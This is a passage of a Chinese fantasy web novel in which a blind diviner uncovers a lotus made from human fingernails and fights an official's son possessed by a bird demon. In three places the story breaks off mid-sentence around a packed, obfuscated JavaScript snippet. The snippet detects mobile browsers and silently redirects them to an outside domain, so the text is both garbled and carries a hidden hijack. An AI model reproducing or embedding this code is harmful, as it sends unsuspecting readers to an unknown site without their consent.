竹杖笃笃敲在青砖地上,像急促的鼓点。那团黑色魂火如同小鱼游入大海,游刃有余地躲过所有拐角、坑洼、窄巷,最终流向不可知的远方。君无岐紧随其后,但她毕竟看不到非生命体,终于露出了少见的狼狈,一路跌跌撞撞。
召南很着急,“你到底看到了什么?要不之后再说吧!”
君无岐正好一杖杵进浅坑里,差点摔倒,她扶着墙稳好身形,咬牙道,“那是个杀人魔,很有可能就是杀害傅必先的凶手!”
召南左右看看,正好此时巷中无人,它跳到地上,腾的升起一阵白烟,化作一只灰黄色的小矮马,转头对她道,“上来!”
君无岐摸索着坐到它背上。
小矮马扬起四蹄,确实比她自己走路要快多了。只可惜召南功夫修炼的不到家,才走到小巷口就已经支撑不住,再度变回了猫咪模样。
外面就是横贯丰城的主干道,极其宽阔,人来人往。君无岐左右张望一下,敏锐地捕捉到了那团黑色魂火,此时离她们有些距离,但不再动弹了,似乎是停了下来。
她迈步就要往那个方向走。
而意外就在此时发生。
那团火,竟然如此突兀的,消失不见了。
这是她第一次遇到此种情况。
君无岐顿在原地,下意识地就想抬手去摸自己眼睛,指尖碰到布巾时才反应过来,这双特殊的眼球不能见光。召南不知道发生了什么,还在她肩上寻找可疑人员,鼻尖一耸一耸。
“咦?君姑娘,你怎么在这里?”
是秦二娘的声音。
她循声望去,看到了秦二娘的魂火,是令人安心的淡金色,异常温暖。她正在朝她走过来,声音里也带上了一丝焦急。
“莫不是出什么事了?少镖头可还好?”
“惊澜没事,我只是追一个人才到了此处。”君无岐答道,“二娘,你可曾看到什么可疑的人从这里经过吗?”
“可疑的人?”秦二娘蹙眉深思,“我没注意到有这样的人。你要找谁?我帮你留意一下。”
君无岐尝试着复原那个人的特征。
“个子应该不高,体型偏瘦。”因为很容易钻入人群,并且一进去就不见了。
“面容普通,年龄不大,经常干活,有一把子力气。”把傅必先倒吊在柳树上可不是件容易事,老人是决计不能完成的。
“另外。”说到这里她停顿了一下,“应该……是往那边去了。”
秦二娘顺着方向看了一眼。
“那边是米粮店。”她说,“现在没开门,据说是店老板前几天死了。”
“死了?”君无岐一怔,“怎么死的?”
“这我就不清楚了。”秦二娘摇摇头,“不过说来也奇怪,今天早晨我清点货物的时候发现口粮不仅没少,还多了些。我刚想去找你帮忙看看呢。”
这怪事真是一桩接着一桩。
“那我们先回客栈。”君无岐很快做了决定,“另外你若是看到有奇怪的人,务必要告诉我。”
秦二娘答应了。
27. 虎神(六)
两人回到客栈。
镖队住在一间小客栈里,地方不大,建筑看着也旧,但胜在便宜。门口招呼客人的店小二看到秦二娘回来,十分殷勤地招呼,“您回来了?马都给喂过了,喂的豆子呢!”
秦二娘笑着道谢。
镖队里的其他人无所事事,都坐在大堂里扯闲天,看到君无岐来了急忙过来问,“少镖头那边怎么样了?什么时候走?”
君无岐叹了口气,把傅府的事大概讲了讲。
陈平威急了,“那怎么办?这、这耽误事儿啊!要是再多留几天,时间就赶不上了!”
“这个不必多说,少镖头肯定有安排。”秦二娘抬手往下一压,“君姑娘,这边走。”
陈平威便不吭声了,耷拉着八字眉唉声叹气。
秦二娘引着君无岐往后院走,一边回过头,对他无声做了个恶狠狠的动作。
“少说话!”
陈平威缩了下脑袋。
两人一猫来到后院,几匹马正在安静地吃着草料,尾巴悠闲地甩来甩去。货物都放在了一间仓库里,门上挂着大锁,钥匙只有秦二娘和掌柜的有。
“这两天我们都没吃带的口粮,统一放在这个箱子里。”秦二娘打开门,指着一口箱子道,“我本想清点一下还剩多少,好盘算要不要再去采买些,谁想到不仅没少,反而多了!你说怪不怪?”
召南使劲嗅了嗅,瞳孔收缩成一条细线,胡子颤动着,“嗯……我闻到了一股熟悉的味道。”
“熟悉的味道?”秦二娘丈二和尚摸不着头脑,“什么味?”
君无岐摸了摸猫头,转而问她,“我记得此前在沛新县时你们说口粮无故消失,后来可是查出什么原因了?”
“没有。”提到这个秦二娘就泄气,“当时少镖头还守夜来着,结果那小贼根本没来!第二日我们还专门出城去问了附近的巫师,结果什么也没看出来。”
怪不得那天晚上她们在城外破庙遇上了。
君无岐弯下腰,摸索着打开箱子。
箱子里整整齐齐地放着干饼、豆、粟等物,分门别类,一看就是个仔细人摆的,满满当当一整箱,差点都要溢出来。秦二娘随手在里面抓了一把,刚想给她看,又忽然想起她看不到,讪讪收回了手。
“表面上这一层是莫名其妙多出来的。”她说,“粒比我们自己的大,也饱满,是新的,看着像是大户人家才能吃的那种好粮食。”
召南在她手边闻了闻。
“好奇怪,一股说不上来的味道。”它说,“可能是混在吃的里了,我说不好。”
君无岐往箱子里摸了摸。
装粮食的布口袋是镖队自己的,缝了两层,都是麻布,里面再垫一层纸吸潮,没什么特别的。她试着抓住口袋往上提了提,很重,单手完全提不动,只能听到粮食挤压时的簌簌声,还有一记若有若无的“咚”。
她凝神,“什么声音?”
秦二娘也听到了,她有点不确定,“好似有什么硬物?”
她双手抓住袋口,用力往上一提,“咚”的一声顿时更明显了。
“似乎压在底下了。”君无岐说,“要不要倒出来看看?”
秦二娘摇摇头,“不必。”
说罢就见她手臂猛地用力,肌肉隆起,青筋绽开,“哈”地一声,竟硬生生把那袋粟给提了出来!
要知道这箱子足有三尺深,要把这么沉一袋粮食生生拔起如此之高,需要的力气可想而知。
“哇哦。”召南小声感叹。
秦二娘把口袋小心翼翼地放在地上,拉开袋口,各处拍拍,“那东西在哪呢?”
她摸到袋子侧边时,感受到一个硬硬的东西。
还好粟的颗粒小,拨起来比较轻,容易把手伸进去。她在口袋里摸索一会,从里面掏出来一个巴掌大的东西。
居然是个装饰得极其华丽的贝壳。
这玩意足有斤把重,外壳粗糙毛刺,呈波浪形,一圈圈沟壑起伏,又用珍珠、黄金、宝石等物装饰,一看就贵重无比,绝不是一般人家能有的。秦二娘一开始完全没想到会是这么件宝物,顿时拿着它的手都有点哆嗦。
“这……是哪来的?”她两眼发直,“值多少钱啊?把我们镖局卖了能赔得起不?”
“哇。”一旁的召南大声感叹,“丰城本地不产这个吧?”
“这是砗磲。”君无岐轻轻摸了摸它的外壳,“佛门八宝之一,只有南洋那片才有。”
秦二娘都要哭了,“还是八宝?这不能是谁想害我们吧?我们就是支普通镖队,应当不至于此啊。”
"我觉得。"召南借着她的手凑上去,鼻尖耸动,“你要不还是先考虑考虑这里面放了什么吧。”
“这里面放了东西?”秦二娘小心翼翼地把砗磲放在其他箱子盖上,“小猫仙,你可别骗我,要是把这东西弄坏了,主人家不得心疼死!”
“这里面一定有什么。”召南眼神坚定,“如果坏了我赔你,我发誓!”
“那倒是也不用……”秦二娘咕哝着,小心翼翼地掀开盖子。
砗磲不愧是佛家八宝,内部流光溢彩,变换万千,诸如孔雀绿、铜雀紫、火红、鲜黄等众多颜色搭配起来竟然分外和谐,丝毫不显杂乱。在无数重彩簇拥下,水晶底座上摆放着一枚小小的白色莲花,这朵莲花体积不大,但竟有百十片花瓣之多,每片花瓣呈半透明状,不知是何材质,形状造型都极尽精心,栩栩如生。花心处积着一汪质地粘稠的金色膏体,散发出浓郁奇香。
“我的天哪……”秦二娘情不自禁发出低呼,“这是什么?”
召南也跟着倒抽了一口冷气,尾巴高高翘起来,“一定是什么宝贝!”
倒是什么都看不见的君无岐还在关心重点,“这就是你刚才说的味道?”
“是啊。”召南这才想起来,赶紧描述了一遍砗磲中的东西,仰头问她,“你知道这是什么吗?”
“古人有云,伽南与沉香并生,沉香质坚,雕剔之如刮竹,伽南质软,指刻之如锥画沙,味辣有脂,嚼之黏牙。”君无岐思忖道,“后来人称奇楠香,又分硬如铁、软如蜜两种,其中便有种金色的,十分稀少名贵。这里面的莫不就是金奇楠香?”
这只砗磲的身价顿时又上了一层。
“这、这真是太贵重了……”秦二娘嗓音都有点发抖,“它到底是为什么会出现在粮食箱子里?大锁钥匙只有我和掌柜的有,难不成是掌柜的要陷害我们?”
她有些焦躁不安,刚想问问君无岐的意见,一转头,却见她正低头对着那只砗磲,也不知道在干什么。
“君姑娘,”她开口问道,“你有什么发现吗?”
君无岐没回答,伸出手,竟然轻轻拨了那朵莲花一下。
莲花花瓣颤动着,恍然映照千颜万色,美丽不可言说。秦二娘吓了一跳,但出于对她的信任,还是没有阻止,问道,“这花怎么了吗?”
君无岐抬起手,轻轻捻了下指尖。
“这莲花好生特别。”她轻轻说,“坚硬,但又柔韧,还能映照出光芒。二娘,你能想到什么吗?”
秦二娘回想自己见过的所有材料,满足以上所有条件的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14764475|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着实不多,想了半天也只能回答,“我实在想不到是什么。难道是某种更稀有的东西?”
君无岐似是在压抑着什么,语气却很平缓。
“说稀有,也不稀有,但说平常,却又绝不寻常。”
秦二娘睁大眼睛。
君无岐说,“这是指甲。”
“人的指甲。”
一股冷气猛地攀上秦二娘脊背。
“指……指甲?”她结结巴巴地说,“难不成这整朵花都是用人指甲做的?那得用多少?要拔多少人?”
她疾步上前,重新细细打量那朵莲花,花瓣洁净、光润,不见丝毫磨损,每一瓣的大小都精挑细选,这不会是已死之人的指甲,这只能是从活着的人手上取下的,还得是仔细选过、大小符合标准的人!
秦二娘狠狠打了个冷战。
“不,这不是我们能插手的事情。”她迅速冷静下来,“必须要立刻通知少镖头,无论如何不能继续留在丰城了,走,要马上走!”
她一把提起地上的布口袋,重新放入箱子,再啪嗒一下扣上。行李都是现成的,不必再费劲整理,她大步出门,刚想去通知仍坐在大堂里的镖客们,忽然听到外面传来喧哗,陈平威冲进后院。
“有人来了!”他吼道,“来抓人的!”
君无岐霍然抬头。
她“看”到了一团火!
那一日在祭拜队伍和傅府中偶然得见,之后再无踪影的红色魂火,此刻就在墙外,正往这里走来!
“来的是谁?”她迭声喝问,“你可曾看清了?”
陈平威刚张开嘴,还没来得及说话,就听“嘭”一声巨响,木门被人一脚踹开,进来个抓一把看不见两头的年轻衙内,牵着条快赶上他自己高的黑毛大狗,挥手大吼,“这里面的人,都给我逮了!”
小小一个院子里呼啦啦涌进一大波家丁,都拿着棍棒,个个膀大腰圆,对里面的人虎视眈眈。秦二娘刷地拦在君无岐身前,厉声道,“干什么?你们什么意思?”
“干什么?”那矮衙内阴阳怪气地笑了两声,“你们偷了我的东西,还来问我要干什么?动手之前不打听打听,丰城里哪个敢动我何家荣的东西!”
何,丰城知州就姓何!
他牵的那条大狗也汪汪叫了起来,吓得召南忙不迭爬进竹筐,只露出只耳朵在外面。秦二娘知道对方必是为了那只砗磲而来,顿时气势也弱了下去,“我们没偷,这件事是个误会……”
“误会?没有误会!要不是我的黑虎闻到香味,还不知道要被你们骗到什么时候。”何家荣从鼻子里哼哼两声,“给我搜!”
一个膘肥体壮的家丁冲进仓库,转头就出来,捧着那只华贵璀璨的砗磲,小心翼翼呈给自家主子,“少爷,就在这呢。”
“物证就在这里,还敢抵赖!”何家荣打开盖子看了一眼里面,一对绿豆似的眼狠狠瞪了眼秦二娘,“都给我抓了,打进大牢!”
秦二娘一把按住君无岐的肩膀,陪着笑脸道,“何少爷,这事说来道去都是我的错,您抓我就行了,其他人都全然不知啊。”
何家荣正要说话,目光扫过站在后面的君无岐,目光一亮。
“我呸,谁知道你们是不是同伙。”他歪了下嘴唇,“全都带走!”
一阵兵荒马乱,秦二娘真是满身长嘴都说不清,只得束手就擒。而君无岐正想探探这个何家荣的底,便也没有反抗,一院子人,竟在短短时间内走了个干净,空留满室灰尘。过去没多久,忽然有个脑袋从角落里探出来,傻了眼。
“人呢,都去哪了?”
28. 虎神(七)
“恭喜少爷,贺喜少爷!”
一大帮人浩浩荡荡回了何府,有个家丁满脸谄媚,不住恭维着何家荣,“出门一趟,不仅把这宝物找回来了,还得了个新美人。真是双喜临门呐!”
何家荣眼鼻都要朝天了,两眼一斜,发黄的牙就从嘴唇里咧出来,勾起手丢给他颗银粒子,“真会说话。人给我弄到哪去了?”
那家丁拿了银子,笑容顿时更大,不住点头哈腰,“在您卧房里呢!您尽管去,我们带黑虎吃肉去,今天可是多亏了它。”
“识相。”何家荣点点他,撒开大狗的绳子,“行,你们几个,好好伺候黑虎,把它伺候舒服了,爷有赏!”
说罢,他大摇大摆向自己院子里走去。
何府占地面积不大,是个标准三进三出的构造,何家荣哼着小曲,刚走过影壁,忽然身体一顿。
与此同时,坐在房中的君无岐猛地抬起头。
“颜色变了……”她喃喃,“这是什么情况?”
召南刷一下从她身后探出猫猫头。
“什么颜色变了?”它东张西望,“你看见啥了?”
这里是何家荣的卧房,分内外两堂,中间以珠帘分隔。君无岐就坐在内堂的床上,正对门口。她仍带着眼纱,只是竹杖背篓都被取走,发间也只剩一根木簪,确保没有可以伤人之物。她把手一摊,召南很自动自觉地靠过来挤在她身边,尾巴绕过她手腕。
君无岐于是摸着猫慢慢说,“那个何家荣的魂火颜色变了。”
“可你之前不是说过魂火的颜色会变化吗?”召南有些不解,“他有什么特殊的?”
“魂火颜色变化是在极其剧烈的变故下产生的,比如杀人、抢劫,或者忽然走了大运,得了官位,我从未见过有人只是在路上走着,就变了个颜色。”君无岐皱起眉,“还是直接从红色变成了纯黑……”
比之前她在傅必先死亡现场见到的那个黑色魂火更黑,这团火里没有任何其他杂色,宛如即将择人而噬的地狱。这人得是干了多少恶事,才能浸染成这种黑色?
正在她思考之际,外面传来脚步声,是何家荣回来了。
他并不着急往内堂走,而是不紧不慢地迈动步伐,不见一丝急躁,与之前可谓是大相径庭。
一丝怪异漫上君无岐的心头。
“猫?”何家荣开了口,眼睛漫不经心地往下一翻,“哪来的?滚出去。”
召南紧紧贴着君无岐腰侧,朝他哈气,耳朵贴在脑后,尾巴则是高高竖了起来。何家荣并没有把猫咪放在眼里,他左右看看,随手捡起只花瓶,朝召南丢了过去。
花瓶跌在柔软的被褥上,并没有摔坏。召南则是朝一边躲开,仍然对他摆出防备性的姿势。何家荣表情烦躁,忽然左手抬起摆了个手势,右手虚空朝它一点。
一朵莲花虚影凭空出现,花瓣尖锐如獠牙,当头朝着召南咬去。猫躲闪不及,尾巴尖被花瓣扫到,倏然刮下来一团绒毛,晃晃悠悠飘落在地。
“喵!”
召南彻底炸了毛。
何家荣正要乘胜追击,彻底把这只猫弄死,蓦然听到床上的人开了口。
“你不是何家荣吧?”
他动作一停,看向君无岐。
君无岐的确有张好脸,单看鼻子和下颌线条都是一等一的流畅,黑发茂密,肩颈挺拔,特别是她一身白衣笑吟吟地坐在那里,恍然间会有种这个人不应出现在凡间的错觉。
何家荣也恍惚了一瞬,嘴角骤然拉开狞笑。
“小娘皮眼神还挺灵。”他说,“可惜也就到此为止了。”
尾音坠地,人已经到了君无岐面前。
她坐在原地没动,只轻描淡写地一侧身,避开何家荣抓来的手。那只手不知何时生了爪钩,寒光赫赫,锐利逼人,与那莲花虚影如出一辙,怕是稍一碰就要见血。
她评价,“人身长个鸟爪子,不知道是不是该叫你鸟人?”
何家荣一听登时暴怒,反手直冲她脸上而去。君无岐明明看不见,反应却比寻常人更快,腰往后一倒,顺势一肘狠狠捣在何家荣胸口,把他推地噔噔噔倒出去五六步。一直蹲在旁边虎视眈眈的召南抓住机会,从多宝格上扑下,当头在他脸上抓出个三道血杠,随即骄傲地翘着尾巴回来,好像打了什么胜仗。
“……有点能耐。”何家荣捂着胸口低喘,“是我小看了你。”
“那倒不是,纯粹是我比你强。”君无岐悠悠然起身,“下次多练练再出来,省的输了还放狠话,丢人。”
“哇。”召南说,“他脸变红了哎。”
何家荣脸膛变得通红,倒不是因为愤怒,而是从皮肤里钻出了片片羽毛,眨眼间覆盖了大片皮肤,变得更加人不人鸟不鸟。他尖啼一声,又向君无岐冲来!
她这次没有再躲。
对付这种人,就得让他知道疼。
她劈手拉住床帐狠狠往下一拽,价值百金的纱帘唰地被撕开,迎风扑在何家荣头上。大约是失去了方向和目标,他长长鸣叫一声,手臂四处乱挥,嘭的一下砸在床柱上。
这床架子也不知道是哪年哪月的老古董,脆弱程度堪比某些人的自尊心,喀嚓裂开一条缝。君无岐虽然眼神一般但听力是一等一的,当即抓住这个机会,一力把床柱拉倒!
哗啦!
这次院外的人都听到了里面的动静,犹豫着是否要进来看一眼。忽听汪汪一串狗叫,黑虎从远处狂奔而来,毫不犹豫地冲了进去。
“黑虎进去了,没事吧?”
“嗐,能有什么事,少爷玩人过火又不是一两次了。再说那狗那么凶,进去了再咬着咱们,你咋办?”
“那倒是……”
“啥也没听着。散了吧散了吧。”
家丁们作鸟兽散。
而此时屋里已经一片狼藉,床架子倒了,帷帐乱七八糟地堆成一团,一只黄金作的宝船骨碌碌滚到墙边,上面点缀的宝石丢得到处都是。何家荣整个人都被压在下面,想挣扎又不好使力,只能无能咆哮。君无岐和召南蹲在床板上,齐齐叹了口气。
“现在怎么办?”召南说,“直接打死?”
“你好残忍。”君无岐懒洋洋地回答,“现在这个身体里装得应该不是真的何家荣吧,我很好奇这到底是谁,又是为什么附身他的。你不好奇?”
话音刚落,何家荣的挣扎忽然一停,空气霎时变得死寂,只有汪汪一串狗叫从远及近,最终冲了进来。
黑虎毛发怒张,四肢分立,站在帐幔前发出威胁式的低吼,獠牙闪着尖锐的寒光,只是它的恐吓对象既不是君无岐也不是召南,反而是缠在床帏里的何家荣。
这倒是让人有点意外。
何家荣在帐子下一动不动,不知道是里面那个玩意害怕了还是有别的打算。黑虎明显焦躁起来,围着目标不停转悠,还试图上嘴去咬,奈何太厚没能成功。
场
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773028|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
面就如此诡异地僵住了。
君无岐从袖子里摸出几个铜钱,随手往床板上一抛,口中念念有词。
召南好奇地看过去,“你算什么呢?”
“当然是算算这位鸟人从哪来的。”君无岐的手指点在铜钱上,骨节分明,“嗯……西北方向,佛,鸟……迦楼罗?”
这个结果显然出乎她的意料。她仔细摸摸手下铜钱,又转头去望帐子底下压着的那一团魂火。那魂火仍然是纯黑色的,不见任何其他颜色,与传说中的佛教神鸟迦楼罗丝毫搭不上边。
“……我又瞎了一回?”君无岐喃喃。
“什么什么?你的卜筮出错了?”召南懵懂道,“我就说人不应该学太多东西,容易变傻……啊!”
忽的噼里啪啦一阵乱响,倒在地上的床柱应声折断,一团金红交映的身影从纱帐里冲出来,哐一声撞断了房梁。
那是个货真价实的鸟人。
面孔、身躯上都覆满了红色绒羽,脊骨上延伸出来一对金色的巨大双翼,基本与他本人等长,末端的飞羽上流转着辉光,与其本人有一种微妙的不协调。他自上往下冷冷看着君无岐,金色眼瞳在眼眶中占不到一半,黑色瞳孔更是只有针尖大小,流动着残忍和冷酷的光。
黑虎焦躁地在地上走来走去,对着房顶下的鸟人狂吠。召南跳上君无岐肩膀,震惊道,“变了变了,真的变成鸟人了!”
“……你不要搞得像是在看戏一样。”君无岐无言道,“从我身上下来,你最近是不是胖了?”
“我只是毛长长了而已!”召南气愤地又跳下来,喵喵咧咧,“难得吃点好的还不让我多吃点吗?我是猫,猫多吃点有什么不可以,我们野兽都是要储蓄元气的!”
君无岐被猫念叨得头疼,索性一手按下猫头,捏住猫短短的嘴筒子,召南咪呜咪呜的嘀咕瞬间全含糊着咽了下去。她空着的那只手随手抄起根木棍,断茬口朝上直指何家荣。
“何家荣”怪笑起来。
“区区凡人……”他的声音也变得又尖又细,“也敢来与神鸟争锋!”
最后一个字尚未落地之前,他便已整个扑下!
翅膀扇动,卷起一阵狂风。君无岐尚未来得及出手,黑虎已经迫不及待地纵身扑跃,一口咬在何家荣腿上!
一声拉长的凄厉惨叫。
按黑虎那体格子,至少也得百斤以上,这一口咬的可谓是结结实实,顿时鲜血四溅,鸟毛乱飞。这大狗直接凭借自己的体重把“何家荣”给拖了下来,立马那翅膀也扑棱不动了,无力地在地上拍了两下。
“哇。”召南适时补充,“现在像鸡。”
君无岐,“……”
君无岐,“你少说两句。”
她“看”向站在一边焦躁不安的大黑狗,轻声感叹,“是条好狗。”
黑虎正站在何家荣身边,试图去拱何家荣又克制不住地要呲牙,十分别扭。它见何家荣一动不动,喉咙里发出小声呜咽,又抬起头,目光湿润地望着君无岐。
“这是什么意思?”召南迷惑,“刚刚不是还在咬它主人吗?”
“察觉出来灵魂不一样了吧,但又不敢再伤害主人身体。”君无岐猜测,“嗯……是错觉吗,怎么感觉最近见到的移魂之人有点多?”
她还在思忖,扑在地上的何家荣动了一下。
他抬起脸,血顺着脸侧往下流。
“你们。”他说,“都得死!”
29. 虎神(八)
咔嚓一声。
何家荣掰断了那只砗磲的外壳,狞笑。
“摩尼大慧,明尊煌煌,大明无量,降灵分光!”他脸上现出诡异的狂热,一把抓住那只指甲组成的莲花,“具智法王,赐我灵相!”
说罢,他竟把那朵莲花一口吞了下去!
刹那间满屋异香飘散,千万佛音低声吟诵,一团霞光耀耀如烈火,从中浮起红身金翅的迦楼罗,他肩生六臂,每只手上都捧着一朵莲花,瞳色赤金,如有实质。
“不净之人,罪愆满身。当造作星群十天,以慰尊者!”
屋顶房梁轰然倒塌,残砖碎瓦间迦楼罗飞身上天,身环金莲,耀耀煌煌。召南张大了嘴,震撼道,“这是……完全变身了?”
君无岐皱起眉。
在她眼中,迦楼罗仍然是一团纯黑魂火,只是那魂火之中不知从何处而来几缕金线,正在其中丝丝缕缕地缠绕。而且随着金线的游动,原本的纯黑色正在以肉眼几不可捉的速度变浅变淡。
“这是……”她低语,“借生?”
召南紧紧贴在她身边,好奇地问,“什么是借生?”
“天地有因果,众生有轮回,一饮一啄皆有定数。但有人非要介入其中,以他人福缘强行改换命数,这就叫做借生。”君无岐解释,“你还记得照虹山的黄豆吗?她当时咬死别人家的鸡,我令她以等价的草药赔罪,这就是为了了却因果,以免影响大道。”
召南听得一抖。
“那这个鸟人借的难道是……”
“没错,是那数百枚指甲主人的气运。”君无岐语气沉重,“他们多半已经死了。”
而死了这么多人代价所换来的,也只不过是漆黑灵魂洗白后的浅浅一斑而已。
迦楼罗望天长啸。
“众生生在暗处,我等送他们去光明上国得拜大明尊,有何不可?”他大笑,“倒是你这等不净不明不真不慧之人,皆当除去!”
众多莲花虚影在他身周旋转环绕,最终组合成一支足有丈长的长矛,在阳光下闪烁着熠熠辉光。
“暗归八地,常施光明!”
那一刻烈火照彻四周,长矛从半空中轰然坠下,洞穿残存的雕花大床。气浪掀起残垣,无数碎渣木屑到处乱飞。君无岐仓促间单手结了个避鬼诀,一把捞起召南,勉强算是躲过,但是黑虎就没有那么幸运了,它被气浪掀得飞出去了得有两三丈,倒在一角残壁之下,哀哀惨叫。
但此时此刻谁也没有那个闲心去关注这条大黑狗了。
召南乖乖缩起四只爪子,焦急道,“他看起来好像很强啊,我们能打得过吗?”
“不是我们,是我。”君无岐纠正道,“现在跑还来得及吗?就说我们是过路人,无意间误入此地之类的……”
“紧要关头就不要再说这些废话了!”召南气得喵喵大叫,“符,有符吗?你那五雷符还剩下几张?”
“五雷符应该对他不管用吧……”虽然这么说着,但君无岐还是从袖中掏出一张符,“急急如律令!”
晴空万里,无事发生。
“啊。”
君无岐喉咙里蹦出一个单音。
“我们还是想办法赶紧跑吧!”召南四只爪子在空中疯狂拨动,“感觉他一矛就能把我们两个扎死串一串啊!”
嗡嗡一阵低沉的轰鸣,地上那只深深钉进床中的长矛原地飞起,落入迦楼罗手中。他那双比常人要小上一圈的金色眼瞳在眼眶中不怀好意地转了一圈,长矛上陡然升起烈火,热意逼人。
“大明天尊在上,”他啼鸣,“燃尽世间一切污浊!”
犹如白昼横生流星,苍穹下云霞骤散,大地震动,别院仅存的几间屋舍尽数倒塌,精美的瓷器与昂贵的珠宝混作一团,跌入尘埃。狂风卷起的灰尘几乎要把天空遮蔽,远处传来人群惊慌失措的叫喊。迦楼罗扑腾着翅膀,满意地看着这一切。
胸腔中萌生一股异样的鼓噪,他皱起眉。
“老实点。能让我附身就是天大的恩赐,竟然还如此不知足?”
心跳蓦然加快。
“当初你求我时可不是这么说的。”迦楼罗嗤笑,“你的家人与我何干?我乃大明尊座下五明子之一,你竟还妄想来使唤我?”
他一手按住胸口,“这丰城可是当初说好的祭品……唔!”
多出的四条手臂、金色双翼和满身莲花都在某一瞬间闪烁一下。
远远传来狗吠,那声音凄厉、悠长,像绢帛撕裂。迦楼罗浑身一震,一只手没能抓紧莲花,花朵悠然飘落。
“……你!”
羽翼猛地一僵,他整个人直挺挺地坠落,临触地之时才将将扑棱起来,勉强没有摔倒在地,“你犯什么病……呃!”
几缕鲜血从他口鼻中冒出来。
啪嗒。
一滴血滴在地上。
“好好好,你倒是心系家人。”迦楼罗不怒反笑,“可惜你今天无论如何都阻止不了我……只要再吃掉几个……”
他望向残垣的另一边,目露凶光。
“谁都拦不住我!”
铮!
犹如琴弦挣断,抑或风过船舷,迦楼罗骤然踉跄一下,茫然低头,只见一条手臂滚落在地,断口处犹在溅血。而这时他才后知后觉地感到剧痛,啼出一串惨烈长鸣。
“啊啊啊啊啊!”
迦楼罗身后,君无岐缓缓站起来。
她满身都是尘土,长发散落,随风轻摆,左手提一把镶金嵌玉的长剑,剑身还镂了华而不实的绿松石,明显装饰意义大于实用意义,想来大约是从何家荣收藏里扒拉出来的。召南这时候又支棱了,站在她腿边昂首挺胸。
“还是剑好用啊。”君无岐感叹,“比符好使多了。”
她掂掂手中长剑,对迦楼罗闲适道,“你刚才说,你要去干什么?”
迦楼罗愕然睁大眼睛。
“你、你没死!”他大骇,“怎么可能,刚才那一下居然都杀不死你……”
“你姑奶奶如果那么好杀,十几年前就该魂飞天外了。”君无岐轻笑,“接下来,你想先断哪个?”
迦楼罗神情猛然一凝。
“好大的口气。”他狞笑,“我倒要看看你有什么底气来与我说这等话!”
莲花虚影在他手中聚集、凝结,最终变化成一把长刀,寒光凛凛,直指君无岐,那刀怕不是比她还要高。他举刀起势,正要朝面前之人劈落,忽见她提前挥出了一剑。
平平无奇的一剑。
或者说只是看起来平平无奇的一剑。这一剑并不快,也不花哨,甚至可以说像是初学者会挥的那种,不需要怎么动脑子就能轻而易举地避开。迦楼罗本来也是这么认为的。
可他惊恐地发现,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14777761|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他躲不开。
他分明避无可避。
嗤。
剑刃像刀切豆腐,新发于硎,轻巧划过肩头。
再断一臂。
“曾经有人告诉我,剑就是用来杀人的,若不能杀人,剑与棍子也没什么区别。”君无岐笑着说,“于是我在肉铺当了三个月帮工,宰了成千上百头畜生,终于悟出这一剑。我叫它‘断生’。”
“你觉得这名字如何?”
迦楼罗无法回答。
他第一次对一个人产生恐惧。
她看起来是他平时最看不上眼的那种人,眼盲、贫穷、柔弱,只配当成生料入口,用来借一点微不足道的运。可实际上她并非如此……她并非如此!
“你……到底是什么人?”
“你管我是什么人。”君无岐垂首,“从这里滚出去。”
迦楼罗剧烈地喘息着。
“不……不不。”他低吼着,“不该是这样,不该是这样!”
巨大的双翼拍打起来,卷出一阵飞沙走石,方才那一剑后隐约透明些许的长刀重新变得凝实,甚至还更大了些。他紧紧握着刀,嘶吼着朝她挥舞过去!
但这注定只是败者的挣扎。
君无岐再度挥出“断生”。
啪。
一对翅膀掉在地上。
咚。
迦楼罗摔倒在地。
他用力眨了下眼睛。
“大明尊……不会放过你……”他低声说,“你这……忤逆之人……”
地面坑坑洼洼,到处都是废墟。君无岐小心地往前走了两步。
“那你就去见你的大明尊吧。”她微笑,“再见。”
她举起剑。
“且慢!”
终于有人赶来,只可惜说的不是什么她想听的话。她恍若未觉,径直落刃。
一剑把何家荣捅了个对穿。
何家荣弹动一下,喉咙里冒出团嘶哑的咕哝。
君无岐松开手。
远远奔来几人,其中一个年纪四十上下,留一把长髯,戴乌纱帽,穿圆领衫,白白胖胖,面相殊为可亲。他见到君无岐的动作,不由喊得声竭。
“住手!”
君无岐转过身。
抹掉脸颊上溅到的血,微笑,“什么?”
“我乃……我乃本地知州何远山,你是何人?竟对我儿下此毒手!”男人气喘吁吁,“如此心狠手辣,不配为人!来人啊,把这贼子给我……”
他这话还没说完,就听见一声高亢嘹亮的尖叫,一道藕荷色身影风一样扑过来,对泥灰废渣视而不见,径直抱住何家荣,“儿啊!”
因为实在太过尖利,连何远山都被噎了一下。
